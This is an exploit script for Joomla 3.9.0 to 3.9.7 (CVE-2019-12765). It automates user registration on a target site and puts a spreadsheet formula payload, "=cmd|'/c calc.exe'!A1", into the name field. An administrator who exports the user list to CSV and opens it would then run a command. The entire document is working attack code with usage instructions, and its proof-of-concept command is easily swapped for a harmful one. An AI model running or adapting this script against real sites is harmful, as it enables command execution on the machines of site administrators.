Joomla! 3.9.0 < 3.9.7 - CSV Injection
#!/usr/bin/python3 # Exploit Title: Joomla 3.9.0 < 3.9.7 - CSV Injection # Date: 2020-03-10 # Vulnerability Authors: Jose Antonio Rodriguez Garcia and Phil Keeble (MWR InfoSecurity) # Exploit Author: Abdullah - @i4bdullah # Vendor Homepage: https://www.joomla.org/ # Software Link: https://downloads.joomla.org/cms/joomla3/3-9-5/Joomla_3-9-5-Stable-Full_Package.zip?format=zip # Version: 3.9.0 < 3.9.7 # Tested on: Ubuntu 18.04 LTS and Windows 7 # CVE : CVE-2019-12765 import mechanize import sys if (len(sys.argv) != 2): print(f'Usage: {sys.argv[0]} <Base URL>') print(f'Example: {sys.argv[0]} http://127.0.0.1 ') sys.exit(1) base_url = sys.argv[1] reg_url = f"{base_url}/joomla/index.php/component/users/?view=registration&Itemid=101" login_url = f"{base_url}/joomla/index.php?option=com_users" def pwn(username='abdullah'): payload = "=cmd|'/c calc.exe'!A1" print(f"Registering a new user with the name <{payload}>...") reg_form = mechanize.Browser() reg_form.set_handle_robots(False) reg_form.open(reg_url) reg_form.select_form(nr=0) reg_form.form['jform[name]'] = payload reg_form.form['jform[username]'] = username reg_form.form['jform[password1]'] = 'password' reg_form.form['jform[password2]'] = 'password' reg_form.form['jform[email1]'] = 'whatever@i4bdullah.com' reg_form.form['jform[email2]'] = 'whatever@i4bdullah.com' reg_form.submit() print("The exploit ran successfully.") print("Exiting...") sys.exit(0) pwn() |